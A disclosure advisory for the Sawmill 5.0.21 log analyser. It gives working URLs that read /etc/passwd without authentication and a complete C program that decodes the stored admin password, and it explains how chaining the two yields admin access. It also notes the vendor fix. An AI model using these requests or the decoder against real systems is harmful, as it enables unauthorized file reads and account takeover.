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Vulnerability sawmill Affected sawmill5.0.21 Description Larry Cashdollar found following. SawMill is a site log statistics package for UNIX, Windows and MacOS. Tests has done under Linux. In test configuration sawmill listened on port 8987 on webserver. You cna notice two things. 1) You can get sawmill to read you the first line of any (if run as nobody) world readable files without needing to authenticate first. The following will print the first line of /etc/passwd: http://192.168.1.65:8987/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3 You can imagine how much more fun this would be if it was launched as root. Which it should not and does not need to be. 2) The password is stored with a weak hash algorithm and can be decrypted using the attached C program. This is dangerous because the previous security hole will allow you to read the first line of the sawmill/SawmillInfo/SawmillPassword decrypt the password and access the site statistics, reconfigure sawmill. Along with the ability to browse the remote machines drive contents. If this is being run as root then the attacker can specify root readonly files as log files and read most if not all of their contents. /*Decrypt password for Sawmill admin account. Larry W. Cashdollar lwc@vapid.betteros.org http://vapid.betteros.org usage ./decrypt cyphertext */ #include <stdio.h> char *alpha ="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+~<>?:\"{}|"; char *encode="=GeKMNQS~TfUVWXY[abcygimrs\"#$&-]FLq4.@wICH2!oEn}Z%(Ovt{z"; int main (int argc, char **argv) { int x, y; char cypher[128]; strncpy (cypher, argv[1], 128); for (x = 0; x < strlen (cypher); x++) { for (y = 0; y < strlen (encode); y++) if (cypher[x] == encode[y]) printf ("%c", alpha[y]); } printf("\n\"+\" could also be a space [ ]\n"); } Sawmill can also be run as a cgi script. This method is vulnerable as well. The following will print the first line of the password file http://www.example.com/cgi-bin/sawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1 Solution Sawmill issued a new version of Flowerfire Sawmill (5.0.22) which corrects both of the vulnerabilities mentioned above. The update is free.